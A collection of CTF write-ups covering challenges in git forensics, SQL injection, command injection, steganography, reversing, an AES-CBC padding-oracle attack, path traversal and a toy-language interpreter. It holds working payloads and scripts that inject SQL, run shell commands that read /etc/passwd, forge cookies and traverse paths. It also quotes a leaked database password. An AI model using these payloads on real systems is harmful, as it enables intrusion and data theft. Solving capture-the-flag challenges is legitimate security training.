diff --git a/blog/app/controllers/articles_controller.rb b/blog/app/controllers/articles_controller.rbindex 61e5d45..951a247 100644--- a/blog/app/controllers/articles_controller.rb+++ b/blog/app/controllers/articles_controller.rb@@ -1,4 +1,6 @@ class ArticlesController < ApplicationController+ http_basic_authenticate_with name: "shh", password: "flap-12b36a752f93870393d8311b4e1529c1", except: [:index, :show]+ def index @articles = Article.all enddiff --git a/blog/app/controllers/comments_controller.rb b/blog/app/controllers/comments_controller.rbindex 80c120a..e0773f0 100644--- a/blog/app/controllers/comments_controller.rb+++ b/blog/app/controllers/comments_controller.rb@@ -1,4 +1,6 @@ class CommentsController < ApplicationController+ http_basic_authenticate_with name: "shh", password: "flap-12b36a752f93870393d8311b4e1529c1", only: :destroy+ def create @article = Article.find(params[:article_id]) @comment = @article.comments.create(comment_params)
```
We have a troll flag named flap, that's not what we want.
Eventually after exploring the refs/heads of the branches, we found secrets.yaml was changed.
```~# /tmp/.git/logs/refs/heads# cat master.. Sarah Harvey <[email protected]> 1502560071 -0700 commit (initial): Initial commit.. Sarah Harvey <[email protected]> 1502560367 -0700 commit: Add welcome controller.. Sarah Harvey <[email protected]> 1502560407 -0700 commit: Change welcome index text.. Sarah Harvey <[email protected]> 1502560494 -0700 commit: Add route.. Sarah Harvey <[email protected]> 1502560953 -0700 commit: Basic article add68490b1f703f667c2dbf9032104a2dcd1039204e 50cfa56ae51be4ca053a5fcea5589a621d982c6c Sarah Harvey <[email protected]> 1502561092 -0700 rebase -i (finish): refs/heads/master onto.. Sarah Harvey <[email protected]> 1502563747 -0700 merge deleting: Fast-forward.. Sarah Harvey <[email protected]> 1502563865 -0700 merge security: Fast-forward
```
Let's git show that specific commit:
```~# git show 68490b1f703f667c2dbf9032104a2dcd1039204e
diff --git a/blog/config/secrets.yml b/blog/config/secrets.ymlnew file mode 100644index 0000000..04ec141--- /dev/null+++ b/blog/config/secrets.yml@@ -0,0 +1,24 @@+# Be sure to restart your server when you modify this file.+
+flag: flag-a89a24c836bde785292b908a25b9241d++# Do not keep production secrets in the repository,+# instead read values from the environment.+production:+ secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>```
flag is: flag-a89a24c836bde785292b908a25b9241d
|
# Little Doggy Tables
## DescriptionIt's worse than we thought. We knew the androids couldn't care for the humans like we do (yes, even the cats care--stop yapping about loyalty, Agent Rover). But they don't even remember their own species.We've found a website that reminds them whether a given robot "agent" is a dog or a cat! And when we confronted a captured android about it, it was arrogant in the extreme:"Oh, so you found it. Yes, it will tell you if a given agent is a dog or a cat, by looking up the appropriate value in its SQLite database. Good luck with that."Sure, the database contains some sensitive information, but our bulletproof firewall and top-notch quote escaping will ensure it never sees the light of day."Not secure? Huh? You don’t believe me? I’ll show you how secure. Here’s the source!"USAGE EXAMPLE:curl "https://little-doggy-tables.capturethesquare.com/agent_lookup" --get --data-urlencode "codename=Fido"https://little-doggy-tables.capturethesquare.com
### Solution
This was a websec challenge. description suggests this is an SQLite database so it's likely an SQL injection challenge.
We are given the following Ruby source code for reference:
```#!/usr/bin/env ruby
# author: Will McChesney <[email protected]>
require "sqlite3"require "webrick"
PORT = ARGV[0]
class SecureDatastore include Singleton
def initialize @db = SQLite3::Database.new("secure.db") end
def secure_species_lookup(insecure_codename) # roll our own escaping to prevent SQL injection attacks secure_codename = insecure_codename.gsub("'", Regexp.escape("\\'")) query = "SELECT species FROM operatives WHERE codename = '#{secure_codename}';"
puts query results = @db.execute(query)
return if results.length == 0 results[0][0] endend
server = WEBrick::HTTPServer.new(Port: PORT)
trap("INT") { server.shutdown }
class AgentLookupServlet < WEBrick::HTTPServlet::AbstractServlet def do_GET(request, response) response.status = 200 response["Content-Type"] = "text/plain"
response.body = SecureDatastore.instance.secure_species_lookup(request.query["codename"]) + "\n" endend
server.mount "/agent_lookup", AgentLookupServlet
server.start```
The function gets passed an 'insecure_codename' variable which is our unsanitized query input. Then, there's a regex escaping that will add to any single quotes passed, a backslash. i.e. ' would be change to \'.
This is however insufficient as we can add %bf. It's possible to bypass this and we will get a single quote that will not get escaped properly.
Next, we already know this is an SQLite backend DB, and the given query in the source code suggests that there's a table named operatives. let's confirm this anyway:
```~# curl "https://little-doggy-tables.capturethesquare.com/agent_lookup" --get --data-urlencode "codename=%bf' union select name from sqlite_master; --" --insecure
operatives```
OK, so operatives it is, let's try to see what other rows we have other in 'species'
```~# for i in {a..z}; do curl "https://little-doggy-tables.capturethesquare.com/agent_lookup" --get --data-urlencode "codename=%bf' union select species from operatives where species LIKE \"${i}%\"; --" --insecure; done
dogcat
```
So we have a dog and a cat, not interesting in particular.
Let's find what codenames are available, other than Fido. maybe the flag is there?
```~# for i in {a..z}; do curl "https://little-doggy-tables.capturethesquare.com/agent_lookup" --get --data-urlencode "codename=%bf' union select codename from operatives where codename LIKE \"${i}%\"; --" --insecure; done
BellaFelixFidoMissyOscarRexSpotTigger```
Flag isn't there. maybe it's time to enumerate what other columns are available, I tried password, users, flags, flag but no cigar.
```~# curl "https://little-doggy-tables.capturethesquare.com/agent_lookup" --get --data-urlencode "codename=%bf' union select secrets from operatives where secrets LIKE \"a%\"; --" --insecure;
no such column: secrets```
no such thing as secrets, maybe secret?
```~# curl "https://little-doggy-tables.capturethesquare.com/agent_lookup" --get --data-urlencode "codename=%bf' union select secret from operatives where secret LIKE \"a%\"; --" --insecure;
<H1>Internal Server Error</H1>```Yes! we get an internal server error message as opposed to 'No such column' so we know secrets exists, let's try the same query except this time with secrets as column.
```~# curl "https://little-doggy-tables.capturethesquare.com/agent_lookup" --get --data-urlencode "codename=%bf' union select secret from operatives where secret LIKE \"1%\"; --" --insecure;
136571b41aa14adc10c5f3c987d43c02c8f5d498```
We got an interesting string, but this isn't the flag, so let's enumerate with LIKE and some random numbers:
```#!/usr/bin/pythonimport requestsimport urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
URL = 'https://little-doggy-tables.capturethesquare.com/agent_lookup'
for i in range(10): q = '%bf\' union select secret from operatives where secret LIKE "%{0}"; --'.format(i) req = requests.get(URL, verify=False, params={'codename':q}) if 'Error' not in req.text: print req.text
~#: python littledoggy.py ccf271b7830882da1791852baeca1737fcbe4b90
9c6b057a2b9d96a4067a749ee3b3b0158d390cf1
flag-a3db5c13ff90a36963278c6a39e4ee3c22e2a436
136571b41aa14adc10c5f3c987d43c02c8f5d498```
flag is flag-a3db5c13ff90a36963278c6a39e4ee3c22e2a436. |
# Password Checker
## DescriptionAfter the announcement of a catastrophic breach of PICI (Personally Identifiable Cat Information) by Evil Robot Corp, we used Shodan to see if there were any interesting new attack vectors in their IP space and found this weird password checker portal. It looks totally hackable. Can you see if you can exfiltrate files out of the portal?
### SolutionWe are given a link to a website with a simple form that asks for a password and validates whether it matches or not by making a request to /run.php with XMLHttpRequest
```<html><head><title>Password Checker</title>
<script type="text/javascript">function validate(objForm) { let toBeCheckedValue = objForm.elements['password'].value;
let xmlHttp = new XMLHttpRequest(); xmlHttp.open('GET', '/run.php?cmd=cat%20../password.txt', false); xmlHttp.send(null); let actualValue = xmlHttp.responseText;
if (toBeCheckedValue != actualValue) { alert('Passwords don\'t match!'); } else { alert('Password validated!'); }}</script>
</head>
<body><center>Check your password!<form onsubmit="validate(this);"><input type="password" name="password" /><button type="submit">Submit</button></form></body>
</html>```
This looks like a classic code execution vulnerability.
I tried a bunch of commands like cat flag.txt and cat run.php but only one line was returned each time. at first I thought that it might be a troll that returns a predefined output for basic commands (ls, cat, etc) but eventually realized it's legitimate except it only 'tail -1' the output.
I hacked together a very basic interactive shell to make the interaction a little easier.
```cmd>envDEFAULT_HTTP_BACKEND_PORT_80_TCP=tcp://10.63.253.75:80
cmd>cat /etc/passwdsystemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
cmd>lsrun.php
cmd>ls -la-rw-r--r-- 2 root root 49 Oct 4 10:34 run.php
cmd>cat run.php?>
cmd>tac run.phpecho $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
cmd>wUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
cmd>ls -rindex.html
cmd>cat index.html</html>
cmd>nl run.php 4 ?>
cmd>ls -r ../flag.txt
cmd>cat ../flag.txtline 2: flap-31aac7e26de449ee
cmd>tac ../flag.txtline 1: flag-bc0a804287546c09```
flag is: flag-bc0a804287546c09 |
A whole lot of the work is already setup to point into a particular direction. Where eax is set to 4, executing an int 0x80 will result in a sys_write. Where ebx is set to 1, it then holds the file descriptor to standard output. What’s left is to set ecx to the flag’s pointer in edi, and change the size in edx to be something much greater than 5.
Starting off with getting the flag pointer out of edi and into ecx, I simply swapped them with xchg ecx, edi;, followed by the syscall. That worked out, but only printed a few bytes of a much larger flag. I spent a little time thinking of what safe value I could load in there that wasn’t so large I’d cause a segfault, but could still fit in the two remaining bytes I had.
The cs register just so happened to have a consistently usable value for me in local debugging, so I just moved it into edx by doing push cs; pop edx. |
# Stegasaurus
## DescriptionWe captured this image from an old database filled with messages from the first robot spies. Most of these took the form of dinosaur or dragon action figures. This one was sent in by a dinosaur bot, with the note "Stegasauruses are like Onions: they have layers, and like hiding in grass. Replace spaces with dashes and prepend "flag-" to the flag."https://cdn.squarectf.com/challenges/stegasaurus.png
### Solution
This is a simple Steganography challenge. we are given a png file which is just a square shape (Square's logo)
Initially I loaded in in GIMP but it didn't yield any results.
I fired zsteg with the filename:
```# zsteg stegasaurus.png b1,r,msb,xy .. text: "import sys\nk=int(sys.argv[1]);print(\"\".join(chr(ord(c)^k) for c in \"Fpvgpa8'M,m&!s,!\"))"b4,r,lsb,xy .. text: "GTTUETDDUTU{/"b4,rgb,lsb,xy .. file: MPEG ADTS, layer II, v1, 256 kbps, Monauralb4,rgb,msb,xy .. text: "*\"\"\"\"\"\"\""```
Interesting, we see a one-liner Python which takes an integer as argument. this is the prettified code:
```import sysk=int(sys.argv[1])for c in "Fpvgpa8'M,m&!s,!": print("\"".join(chr(ord(c)^k)))```
Passing arguments to it results in the following:
```root@toxicity:/tmp# python steg.py 1Gqwfq`9&L-l' r-
root@toxicity:/tmp# python steg.py 1000Traceback (most recent call last): File "t", line 4, in <module> print("\"".join(chr(ord(c)^k)))ValueError: chr() arg not in range(256)
```Ok so this should be easy, we only have 250~ options to go through. we can easily brute force.
I slightly modified the Python to print all characters on the same line.
```chars=[]for k in range(50): for c in "Fpvgpa8'M,m&!s,!": chars.append("\"".join(chr(ord(c)^k))) print("".join(str(x) for x in chars)) del chars[:]```
and then ran it again
```root@toxicity:/tmp# python steg.pyIyhn7(B#b).|#.V`fw`q(7]<}61c<1Wagvap)6\=|70b=0Tbdubs*5_>43a>3Ucetcr+4^?~52`?2Rdbsdu,3Y8y25g85Secret-2X9x34f94Pf`qfw.1[:{07e:7Qgapgv/0Z;z16d;6^hnhy ?U4u>9k49_io~ix!>T5t?8j58\jl}j{"=W6w<;i6;]km|kz#<V7v=:h7:Zlj{l}$;Q0q:=o0=[mkzm|%:P1p;<n1<Xnhyn&9S2s8?m2?Yoixo~'8R3r9>l3>
```
Output seems like garbage, except one line: Secret-2X9x34f94
flag: flag-Secret-2X9x34f94 |
# No Calm#### wparks
This is a straightforward reversing problem. The program asks for a large numberof command line arguments, each one a single byte. It then performs checks on them,three characters at a time. Here is the first check in Hopper.
The program only checks 3 bytes at a time, and performs the same calculations,only requiring different results for each one. This checks were solvedusing z3, giving us the flag.
```pythonfrom z3 import *
def solve(a1, a2, a3): a = Int('a') b = Int('b') c = Int('c') s = Solver() s.add(b + a - c == a1) s.add(a - b + c == a2) s.add(b - a + c == a3) assert s.check() == sat m = s.model() return chr(m[a].as_long()) + chr(m[b].as_long()) + chr(m[c].as_long())
res = solve(81, 53, 87)res += solve(90, 156, 66)res += solve(98, 140, 92)res += solve(38, 170, 60)res += solve(29, 161, 69)res += solve(163, 27, 69)res += solve(147, 43, 59)res += solve(146, 86, 44)res += solve(67, 89, 75)res += solve(117, 125, 125)
print res``` |
So after analyzing all the codes written in different languages, I wrote a python script that do the same,then made a dictionary attack.
Here the [script](script.py). |
# __Kaspersky Industrial CTF Quals 2017.__ ## __decrypt the message__
## Information**Category:** Crypto**Points:** 700**Description:** > Could your decrypt the message? http://95.85.51.183
## Solution
All we have is a web page asking for a name and setting some strange cookie (obviously, in base64).
Decrypting it doesn't give anything, so let's try to vary name and cookie.Varying the cookie we may bump into exception with a plenty of useful information.```Traceback (most recent call last):File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1612, in full_dispatch_requestrv = self.dispatch_request()File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1598, in dispatch_requestreturn self.view_functions[rule.endpoint](**req.view_args)File "/var/www/FlaskApp/FlaskApp/__init__.py", line 53, in indexuser_info_decrypted = json.loads(aes_decrypt(user_info).decode())File "/var/www/FlaskApp/FlaskApp/__init__.py", line 35, in aes_decryptreturn unpad(cipher.decrypt( enc[16:] ))File "/var/www/FlaskApp/FlaskApp/__init__.py", line 23, in unpadreturn s[:-ord(s[-1])]IndexError: string index out of range```
From here we know that server uses Python 2.7 with Flask, it decrypts user data, decodes it into a string and loads into json. Function name (aes_decrypt) shows us the direction of research. Researching different tracebacks we find this line.
```File "/var/www/FlaskApp/FlaskApp/__init__.py", line 34, in aes_decryptcipher = AES.new(base64.b64decode(hardcoded_key), AES.MODE_CBC, iv )```
So, we finally know that cipher is AES CBC. The most popular attack on it that can be googled is [Padding Oracle Attack](https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html). Trying automated scripts doesn't make any sense, so let's try to repeat something similar.
#### A piece of theory
After decoding the cookie we get a bytestring 64 bytes long.``` \xa1d\xd6"\xdc1\x00R\r@\x1a\xe8\xcd4\x8d\xa9m\xaa\xe0{\x9c;\xa9\xc5\x8d?\x92HS-\xe2c\xbd\xe09\xb83\xe7q1)-\x89\x1b\xfe\xf3\xcbU\xb7\xcd\xbb)2\xd0\xad\xbb\xba\xbfef\x92/NK ```
AES CBC is block cipher, knowing the block size is 16 (wich we know from another traceback), we understand that first block is [IV](https://en.wikipedia.org/wiki/Initialization_vector), while three others are data (and the last block is padded).
The first thing we try is bruteforcing IV byte by byte (starting from first) and concating it with the rest of ciphertext using simple script.
```pyimport requestsfrom base64 import b64encode, b64decode
def main(): ciphertext = 'oWTWItwxAFINQBrozTSNqW2q4HucO6nFjT+SSFMt4mO94Dm4M+dxMSktiRv+88tVt827KTLQrbu6v2Vmki9OSw==' decoded_cipher = b64decode(ciphertext) for pos in range(0, 16): for i in range(0, 256): data = decoded_cipher[:pos] + bytes([i]) + decoded_cipher[pos + 1:] make_request(b64encode(data).decode())
def make_request(cookie): url = 'http://95.85.51.183/' headers = {'Cookie': 'user_info={}'.format(cookie)} r = requests.get(url, headers=headers) print(r.text[-100:])
if __name__ == '__main__': main()```
What we receive are exception messages```UnicodeDecodeError: 'ascii' codec can't decode byte 0xda in position 0: ordinal not in range(128)UnicodeDecodeError: 'ascii' codec can't decode byte 0xdb in position 0: ordinal not in range(128)UnicodeDecodeError: 'ascii' codec can't decode byte 0xd8 in position 0: ordinal not in range(128)UnicodeDecodeError: 'ascii' codec can't decode byte 0xd9 in position 0: ordinal not in range(128)```
Oh, what is it? Server says _which_ character stands on 0 position. And we can use it to restore the plaintext.
### A piece of theory
We know that AES CBC decrypts each block and then XORes it with previous (or IV for the first one). So, knowing wrong character  and current IV byte , we can XOR them and get intermediary byte, then, by XORing it with original IV byte , we get the plaintext byte. Then we may use the first block as IV for the second and so on. Modify our [script](./iv_brute.py) to speed up the process.And we get the plaintext: `{"name": "a", "show_flag": false}`.
So we see json object with `"show_flag"` property set to `false`. Obviously, we should try to set it to `true`. We've got such a name value that the word `false` is placed in the end of the second block, whereas `}` symbol is the beginning of the third. It makes task a bit easier, allowing us not to worry about paddings.
So we replace "`false`" value with `"true "` (space is added to keep the text length). Knowing that second block is XORed with encrypted first one, we may set such values in the first block that give `true` in the second after decryption. We do this by xorig each byte of `false` with byte of `'true '` and byte of first block on the corresponding places. Now, as the first block has changed, server can't decrypt the cookie. But this is not a problem, we just bruteforce IV again byte by byte from the 0th to 15th. We XOR byte on each place (again, server sends us DecodeErrors) with bruteforced IV and byte of the plaintext (which we know up to each symbol). The goal is to get valid json object. Bruteforce IV until we get valid answer from the server or until we construct valid cookie.We got the new cookie:``` b'\xd0F\x12`\xbd"7\xbf\x1d6cB#\xfb6\xd2m\xaa\xe0{\x9c;\xa9\xc5\x8d?\x92Z@4\xf4&\xbd\xe09\xb83\xe7q1)-\x89\x1b\xfe\xf3\xcbU\xb7\xcd\xbb)2\xd0\xad\xbb\xba\xbfef\x92/NK' ```
Encoding it with base64 and sending it to the server gives us the flag
Script for getting the cookie: [get_cookie.py](./get_cookie.py) |
I'm posting this even when there are 4 other solutions because I solved it in a completely different way. I used a framework named angr which is built based on symbolic execution. Just have a glance. |
# Warmup (RE, 415p, 52 solved)
Another classic reversing challenge.We get a [binary](rhapsody), ELF x64, statically compiled.
Just like in warmup we can see a permutated flag in the strings:
```asm00000000004a2739 db 0x73 ; 's' ; DATA XREF=sub_400a59+28, sub_400bf4+28, sub_400d0c+28, sub_4010e0+2800000000004a273a db 0x00 ; '.'00000000004a273b db 0x31 ; '1' ; DATA XREF=sub_400a9f+28, sub_400bae+2800000000004a273c db 0x00 ; '.'00000000004a273d db 0x34 ; '4' ; DATA XREF=sub_400ae5+28, sub_400b68+28, sub_40116c+28, sub_4011f8+28, sub_401310+2800000000004a273e db 0x00 ; '.'00000000004a273f db 0x74 ; 't' ; DATA XREF=sub_400c3a+2800000000004a2740 db 0x00 ; '.'00000000004a2741 db 0x4b ; 'K' ; DATA XREF=sub_400c80+2800000000004a2742 db 0x00 ; '.'00000000004a2743 db 0x68 ; 'h' ; DATA XREF=sub_400cc6+2800000000004a2744 db 0x00 ; '.'00000000004a2745 db 0x72 ; 'r' ; DATA XREF=sub_400d52+28, sub_400fc8+2800000000004a2746 db 0x00 ; '.'00000000004a2747 db 0x7b ; '{' ; DATA XREF=sub_400d98+2800000000004a2748 db 0x00 ; '.'00000000004a2749 db 0x33 ; '3' ; DATA XREF=sub_400dde+28, sub_40100e+2800000000004a274a db 0x00 ; '.'00000000004a274b db 0x4f ; 'O' ; DATA XREF=sub_400e24+2800000000004a274c db 0x00 ; '.'00000000004a274d db 0x6c ; 'l' ; DATA XREF=sub_400e6a+28, sub_400ef6+2800000000004a274e db 0x00 ; '.'00000000004a274f db 0x66 ; 'f' ; DATA XREF=sub_400eb0+28, sub_4011b2+2800000000004a2750 db 0x00 ; '.'00000000004a2751 db 0x67 ; 'g' ; DATA XREF=sub_400f3c+2800000000004a2752 db 0x00 ; '.'00000000004a2753 db 0x30 ; '0' ; DATA XREF=sub_400f82+2800000000004a2754 db 0x00 ; '.'00000000004a2755 db 0x6a ; 'j' ; DATA XREF=sub_401054+2800000000004a2756 db 0x00 ; '.'00000000004a2757 db 0x75 ; 'u' ; DATA XREF=sub_40109a+2800000000004a2758 db 0x00 ; '.'00000000004a2759 db 0x37 ; '7' ; DATA XREF=sub_401126+28, sub_401284+2800000000004a275a db 0x00 ; '.'00000000004a275b db 0x6e ; 'n' ; DATA XREF=sub_40123e+2800000000004a275c db 0x00 ; '.'00000000004a275d db 0x7d ; '}' ; DATA XREF=sub_4012ca+28```
And again we can find a very nice pattern for checking the flag:
```asm000000000040137c mov eax, 0x00000000000401381 call sub_400b2b0000000000401386 test eax, eax0000000000401388 jne loc_401394
000000000040138a mov eax, 0x0000000000040138f jmp loc_4016a0
loc_401394:0000000000401394 mov eax, 0x0 ; CODE XREF=sub_401378+160000000000401399 call sub_400c80000000000040139e test eax, eax00000000004013a0 jne loc_4013ac
00000000004013a2 mov eax, 0x000000000004013a7 jmp loc_4016a0
loc_4013ac:00000000004013ac mov eax, 0x0 ; CODE XREF=sub_401378+4000000000004013b1 call sub_400e2400000000004013b6 test eax, eax00000000004013b8 jne loc_4013c4
00000000004013ba mov eax, 0x000000000004013bf jmp loc_4016a0```
and more similar checks.Jump `jmp loc_4016a0` means of course we failed to get the character right.Fortunately for us the functions we are calling here are all basically the same:
```asm sub_400c80:0000000000400c80 push rbp ; CODE XREF=sub_401378+330000000000400c81 mov rbp, rsp0000000000400c84 mov eax, 0x00000000000400c89 call sub_4009d30000000000400c8e mov byte [0x6cee20], al0000000000400c94 mov eax, 0x6cee410000000000400c99 movzx edx, byte [rax]0000000000400c9c mov eax, 0x4a27410000000000400ca1 movzx eax, byte [rax]0000000000400ca4 cmp dl, al0000000000400ca6 jne loc_400cbf
0000000000400ca8 mov eax, dword [0x6cdc70]0000000000400cae xor eax, 0x50000000000400cb1 mov dword [0x6cdc70], eax0000000000400cb7 mov eax, dword [0x6cdc70]0000000000400cbd jmp loc_400cc4
loc_400cbf:0000000000400cbf mov eax, 0x0 ; CODE XREF=sub_400c80+38
loc_400cc4:0000000000400cc4 pop rbp ; CODE XREF=sub_400c80+610000000000400cc5 ret ; endp```
This function simply loads our input byte and then compares it with expected flag byte.And those functions go in order!There is a call to some strange function here, but in the end it doesn't matter, so no point bothering with it.
There was a small difference for the first check, because the function was a bit different, but we know the first character of the flag is `E` so we simply start with the second one.
This looks like a nice target for angr, but we couldn't run it, just like for warmup, so we did a gdb script one more time.
What we want to do:
1. Stop when the pattern of cmp-then-jump starts.2. Step into the function.3. Move to the `cmp` and check what input was expected, save it as flag byte.4. Change our input byte for the expected one, so the checks pass and we can proceed.5. Move to the next check.
We run:
```pythonimport gdbimport codecsimport string
flag = []gdb.execute("break *0x401399")gdb.execute("r <<< $(echo 'Eaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')")for i in range(32): gdb.execute("s") for j in range(9): gdb.execute("n") character = chr(int(str(gdb.parse_and_eval("$al")),16)) flag.append(character) gdb.execute("set $dl = $al") for j in range(12): gdb.execute("n")print('E'+"".join(flag))```
And we get: `EKO{1sth1sr34lfl4g0rjus7f4n74s34}` |
Vulnerability : download.php?f=951470281beb8a490a941ac73bd10953
** 1- Download "download.php" ** download.php?f=../download.php```php// TWCTF{then_can_y0u_read_file_list?}$filename = $_GET['f'];if(stripos($filename, 'file_list') != false) die();header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename='$filename'");readfile("uploads/$filename");```** 2- Read "file_list.php" **
download.php?f=file_list../../file_list.php
|
# Writeup:We are given some documentation and files related to a made up language called "seventeen".## seventeen.txt:```= Overview of seventeen =** CONFIDENTIAL: Please do not talk about seventeen with non-Evil Robot Corp. employees **
Seventeen is a very simple programming language. It gets its name from the factthat there are only 17 instructions.
Seventeen is used for internal cryptography applications. The seventeen core runtimehas been proven to be secure (see seventeen.coq). In the future, we plan to expandthis language and build commercial products, so please keep all this confidential.
Here are some of the core concepts:
* Each program starts execution with the first instruction in the file, and keeps processing instructions sequentially unless an IFZ, IFG, CALL, JMP or EXIT instruction is encountered.
* There are three storage systems: - a stack (where data can be pushed) - a vector (where data can be read or written using an offset) - variables
The state of all these storage systems is undefined when a program starts.
* Most operations work with the stack. E.g. "1 2 ADD" will: - push 1 on the stack - push 2 on the stack - Replace these two numbers with their sum
The resulting stack will contain 3.
* Variables and labels are in the "a-z_" range ('a' to 'z' with '_').Make sure to read the formal specification (see seventeen.spec)= Sample code =* see primes.17
```## .bash_history:```lsecho "root" | /usr/bin/seventeen passmgr.17mysql --user=root --password="8a30347d2a" secure.evil-robot.corpecho "150" | seventeen primes.17 > primes.outexit```Besides the partial documentation and usage examples, we are given two "executables".
One of them is a program that prints primes, which is used to understand how the language works, and the other one is a program that is hard to reverse, and we need its output on the string "sandflea".
By reading the code and the partial documention, we can infer that most of the operations get arguments from the stack, then push the result into the stack.
The following python code runs files written in the "seventeen" language.
After cleaning the file a bit, it evaluates the custom functions and their line number, adding them to a dictionary (for example: {"loop_start:",5}).
Then, it interprets words in each line by the order they appear. The following words are possible:
* A "seventeen" syscall - meaning, one of the built in functions in the "seventeen" language that we need to emulate. We will execute the syscall.
* A number - self explanatory, just push it.
* A custom function - we will push the function name onto the stack. If needed, a syscall will set our instruction pointer to the line accompanying the function.
* A known variable - a variable which already has a value (via the store syscall).
* An unknown variable - a word that doesn't describe any of the above.
Since some syscalls refer to a variables value, and some to its symbol, we push a tuple ('varname', value) onto the stack, and let the syscalls use the relevant value.
## interpreter.py:```import sys,reimport syscalls
debug = 0 #set to 1 to enable. [P?]=Pushing onto stack var of type "?". [S] executing a seventeen syscall.ip = 0 #instruction pointer (line number)stack = []functions = {}variables = {}vect = [None] * 4096
def clean(data): #deleteComments data = re.sub(r"\/\*(.|\n)*?\*\/", "", data) #deleteEmptyLines data = "\n".join([ll.rstrip() for ll in data.splitlines() if ll.strip()]) return data
def parseFunctions(data): for i,line in enumerate(data.splitlines()): if re.search(r"[a-z_]*:", line) != None: functions[re.search(r"[a-z_]*:", line).group(0)[:-1]] = i
def parseFile(f): data = f.read() data = clean(data) parseFunctions(data) return data
def executeWord(word): global stack,variables,vect,ip if word in syscalls.__dict__: #word is a builtin seventeen function sys.stdout.write(("[S]Syscall: " + word + "\n") * debug) stack,variables,vect,ip = syscalls.__dict__[word](stack,variables,vect,functions,ip) return if word.isdigit(): #word is a number, push it sys.stdout.write(("[PN]Number: " + word + "\n") * debug) stack.append(int(word)) return if word[:-1] in functions: #word is function definition. Skip it. return if word in functions: #custom function name sys.stdout.write(("[PF]Func: " + word + "\n") * debug) stack.append(word) return if word in variables: #var-val tuple sys.stdout.write(("[PV]var-val: " + str((word,variables[word])) + "\n") * debug) stack.append((word,variables[word])) return else: #unknown variable, probably pushed to store sys.stdout.write(("[PUV]var: " + word + "\n") * debug) stack.append(word) return
def executeLine(line): global ip curr_line_num = ip for word in line.split(): executeWord(word) if curr_line_num == ip: ip = curr_line_num+1
def run(data): global ip lines = data.splitlines() line = lines[0] while True: executeLine(line) line = lines[ip]
if len(sys.argv) != 2: print "Usage: %s [filename]" % sys.argv[0] sys.exit(-1)
f = open(sys.argv[1],'r')run(parseFile(f))```
## syscalls.py:```import sys
#pushes a number from stdin onto the stackdef read_num(stack,variables,vect,functions,ip): stack.append(int(raw_input())) return (stack,variables,vect,ip)
#pushes a byte (as a number) from stdin onto the stackdef read_byte(stack,variables,vect,functions,ip): char = sys.stdin.read(1) if char == "": #ENDOFOUTPUT stack.append(0) else: stack.append(ord(char)) return (stack,variables,vect,ip)
#input:anything#duplicates the top of the stackdef dup(stack,variables,vect,functions,ip): stack.append(stack[-1]) return (stack,variables,vect,ip)
#input:(value(int)/(str,int))#input:(varname(str)/(str,int))#stores value in varnamedef store(stack,variables,vect,functions,ip): varname = stack.pop() value = stack.pop() if (type(varname) == tuple): varname = varname[0] if (type(value) == tuple): value = value[1] assert(type(varname) == str and type(value) == int) variables[varname] = value return (stack,variables,vect,ip)
#input:(value(int)/variable(tuple))#input:(function)#input:(function)#conditional jump (ifzero)def ifz(stack,variables,vect,functions,ip): f1 = stack.pop() f2 = stack.pop() value = stack.pop() if (type(value) == tuple): #variable value = value[1] assert(f1 in functions and f2 in functions and type(value) == int) if value != 0: ip = functions[f1] else: ip = functions[f2] return (stack,variables,vect,ip)
#input:(value(int)/variable(tuple))#input:(function)#input:(function)#conditional jump (ifgreaterthanzero)def ifg(stack,variables,vect,functions,ip): f1 = stack.pop() f2 = stack.pop() value = stack.pop() if (type(value) == tuple): #variable value = value[1] assert(f1 in functions and f2 in functions and type(value) == int) if value < 0: ip = functions[f1] else: ip = functions[f2] return (stack,variables,vect,ip)
#input:(function)#pushes return address and jumps to the function line numberdef call(stack,variables,vect,functions,ip): f = stack.pop() assert(f in functions) stack.append(ip+1) ip = functions[f] return (stack,variables,vect,ip)
#input:(int)#input:(int)#pushes a1 + a2def add(stack,variables,vect,functions,ip): a1 = stack.pop() a2 = stack.pop() if (type(a1) == tuple): #variable a1 = a1[1] if (type(a2) == tuple): #variable a2 = a2[1] assert(type(a1) == int and type(a2) == int) stack.append(a1+a2) return (stack,variables,vect,ip)
#input:(int)#input:(int)#pushes a2-a1def sub(stack,variables,vect,functions,ip): a1 = stack.pop() a2 = stack.pop() if (type(a1) == tuple): #variable a1 = a1[1] if (type(a2) == tuple): #variable a2 = a2[1] assert(type(a1) == int and type(a2) == int) stack.append(a2-a1) return (stack,variables,vect,ip)
#input:(int)#input:(int)#pushes a2 mod a1def mod(stack,variables,vect,functions,ip): a1 = stack.pop() a2 = stack.pop() if (type(a1) == tuple): #variable a1 = a1[1] if (type(a2) == tuple): #variable a2 = a2[1] assert(type(a1) == int and type(a2) == int) stack.append(a2%a1) return (stack,variables,vect,ip)
#input:(int)#input:(int)#pushes a2 xor a1def xor(stack,variables,vect,functions,ip): a1 = stack.pop() a2 = stack.pop() if (type(a1) == tuple): #variable a1 = a1[1] if (type(a2) == tuple): #variable a2 = a2[1] assert(type(a1) == int and type(a2) == int) stack.append(a2^a1) return (stack,variables,vect,ip)
#input:(int)#prints the bytedef print_byte(stack,variables,vect,functions,ip): b = stack.pop() assert(type(b) == int) sys.stdout.write(chr(b)) return (stack,variables,vect,ip)
#input:(int)#prints the numberdef print_num(stack,variables,vect,functions,ip): n = stack.pop() if (type(n) == tuple): #variable n = n[1] assert(type(n) == int) sys.stdout.write(str(n)) return (stack,variables,vect,ip)
#input:(int)/(function)#jumps to line in inputdef jump(stack,variables,vect,functions,ip): addr = stack.pop() if (type(addr) == tuple): #variable addr = addr[1] if (type(addr) == str): #function addr = functions[addr] assert(type(addr) == int) ip = addr return (stack,variables,vect,ip)
